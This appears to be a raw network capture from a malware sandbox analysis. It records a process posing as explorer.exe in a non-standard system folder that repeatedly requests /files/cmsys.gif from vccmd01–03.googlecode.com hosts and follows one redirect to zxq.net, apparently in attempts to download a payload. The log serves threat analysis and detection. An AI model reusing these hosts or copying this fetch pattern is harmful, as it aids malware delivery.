Oct 10, 2024 10:14:38.628032923 CEST	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Thu, 10 Oct 2024 08:14:38 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	64577	64.233.184.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:13:16.316807985 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:13:17.040852070 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:13:16 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:13:17.040873051 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	64578	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:13:18.328339100 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:13:19.030950069 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:13:18 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:13:19.030972958 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	64579	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:13:20.326936960 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:13:21.060559034 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:13:20 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:13:21.060638905 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	64581	64.233.184.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:13:25.877667904 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:13:26.593692064 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:13:26 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:13:26.593748093 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	64582	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:13:27.666739941 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:13:28.374680996 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:13:28 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:13:28.374732018 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	64583	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:13:29.328036070 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:13:30.055612087 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:13:29 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:13:30.055681944 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	64591	64.233.184.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:13:34.030735016 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:13:34.735606909 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:13:34 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
